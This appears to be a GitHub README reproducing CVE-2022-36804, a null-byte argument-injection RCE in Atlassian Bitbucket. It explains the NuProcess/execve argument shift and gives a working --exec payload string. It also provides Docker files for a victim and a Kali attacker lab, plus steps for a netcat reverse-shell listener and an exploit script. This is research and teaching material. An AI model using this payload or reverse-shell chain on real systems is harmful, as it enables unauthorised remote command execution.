Full-chain reproduction of CVE-2022-36804 (Bitbucket RCE). Includes a Dockerized laboratory, pspy64 monitoring for null-byte injection verification, and a custom Bash exploit script. Based on Assetnote research.
CVE-2022-36804 is a high/critical Argument Injection vulnerability within the REST API of Atlassian Bitbucket Server and Data Center.
While the official NVD National Vulnerability Database base score is 8.8 (High) based on the assumption of required read privileges (PR:L), this analysis treats it as a 9.8 (Critical) flaw (PR:N). If a target repository has public access enabled—a common configuration—the exploit vector becomes entirely pre-authenticated.
This repository documents a full-chain laboratory reproduction of the exploit, directly based on the technical research published by Assetnote.
The analysis details the transition from environment orchestration and security filter evasion to achieving an interactive reverse shell. As outlined in the original discovery, this flaw allows for Remote Command Execution (RCE), which can be exploited pre-authentication if the target repository has public access enabled.
The vulnerability is rooted in a "Sanitization Impedance Mismatch" between the Java application runtime and the Linux Operating System.
As highlighted in Assetnote's research, Bitbucket utilizes the NuProcess library to construct and execute Git commands. When a user provides a prefix parameter to the /archive endpoint, Bitbucket fails to strip null characters (%00) before passing the argument list to the OS.
execve() processes the command, it cuts the string at %00. Because of how NuProcess passes the data, the OS treats everything following the null byte as an entirely new command-line argument.By injecting --exec=..., an attacker breaks out of the intended --prefix flag and forces the git archive process to execute an arbitrary binary, leading to Remote Command Execution (RCE).
To understand how the exploit transitions from a simple URL parameter to an OS-level command, we must dissect the payload's structure and observe the "Array Shift."
prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x
| Component | Purpose | Technical Role |
|---|---|---|
prefix=x | Requirement | git archive needs a prefix; x acts as a placeholder. |
%00 | The Knife | Null-Byte. Java passes it, but the C-based Linux kernel terminates string here. |
--exec=... | The RCE Trigger | The Dangerous Flag. Abuses Git's built-in feature to execute external programs. |
touch ... | The Action | The command to be executed. Safe PoC to verify RCE. |
--remote=... | The Trashcan | Consumes the Commit ID (appended by Bitbucket) as a valid argument, ensuring the command executes cleanly without syntax errors. |
This illustrates the core of the vulnerability: how Data (a directory prefix) is transformed into an Instruction (a command flag).
Java's Execution Context (Initial State):
Java sees a single, long string as the third argument.
[
"git", // Index 0
"archive", // Index 1
"--prefix=x\0--exec=...\0--remote=...\0x", // Index 2: The single, polluted string
"1a2b3c4d..." // Index 3: Appended by Bitbucket
]
Linux Kernel Execution (Exploited State):
The kernel's execve() syscall splits the string at every null-byte (\0), shifting the injected flags into their own standalone positions in the process's argument array.
[
"git", // argv[0]: https://raw.githubusercontent.com/danielhallbro/cve-2022-36804-bitbucket-rce-analysis/main/Executable
"archive", // argv[1]: Subcommand
"--prefix=x", // argv[2]: Terminated early by %00
"--exec=/bin/bash -c 'touch /tmp/pwned'", // argv[3]: THE INJECTED FLAG (RCE)
"--remote=file:///", // argv[4]: THE TRASHCAN (Redirects logic)
"1a2b3c4d..." // argv[5]: COMMIT ID (Consumed by --remote)
]
To simulate a realistic attack surface, the laboratory environment utilizes a dual-container architecture isolated within a Docker bridge network (hacking_net). This setup ensures that the exploitation and monitoring can be performed in a controlled environment without affecting the host system.
Victim Node: Runs Atlassian Bitbucket Server version 7.17.1. The container is intentionally named bitbucket-victim. This reflects a critical design refinement made to ensure compliance with Apache Tomcat’s RFC 7230 enforcement. By using a hyphen instead of an underscore, the environment avoids the "Invalid Character" 400 errors that occur during payload execution—a key technical hurdle identified and resolved during the research phase.
Attacker Node: A tailored Kali Linux rolling image. Unlike a standard image, this node is pre-provisioned with the specific toolset required for this exploit chain: git for repository manipulation, curl for payload delivery, and netcat-traditional for capturing the reverse shell.
services:
bitbucket:
image: atlassian/bitbucket-server:7.17.1
container_name: bitbucket-victim # Renamed from bitbucket_victim to avoid host header issues when executing payload.
ports:
- "7990:7990"
volumes:
- ./bitbucket-data:/var/atlassian/application-data/bitbucket
networks:
- hacking_net
kali:
build: .
container_name: kali_attacker
tty: true
networks:
- hacking_net
networks:
hacking_net:
driver: bridge
# Use the official Kali Linux rolling image as the base
FROM kalilinux/kali-rolling
# Update package lists and install essential tools for the exploit
# - git: REQUIRED for this specific CVE (we will manipulate git commands)
# - curl: To send the HTTP requests (the payload)
# - netcat-traditional: To catch the reverse shell (listener)
# - nano: Added for user-friendly text editing inside the container
# - python3: Useful for scripting or hosting simple HTTP servers
RUN apt-get update && \
apt-get install -y git curl netcat-traditional nano python3 && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
# Set the working directory to /root for convenience
WORKDIR /root
# Keep the container running indefinitely so we can access it via 'docker exec'
# This command simply follows the null device, doing nothing but keeping the process alive
CMD ["tail", "-f", "/dev/null"]
If you have already provisioned the environment using the docker-compose.yml provided above, you can use the included exploit.sh script to verify the vulnerability and pop a reverse shell in seconds.
1. Prepare the Listener
On your Kali attacker node (or host machine), start a netcat listener to catch the shell:
nc.traditional -lvnp 4444
2. Execute the Exploit
Run the script by providing the target Bitbucket IP, the Project/Repo names, and your listener details:
# Usage: ./exploit.sh <target_ip> <project_key> <repo_slug> <attacker_ip> <attacker_port>
chmod +x exploit.sh
./exploit.sh 172.19.0.3 CVE repo1 172.19.0.2 4444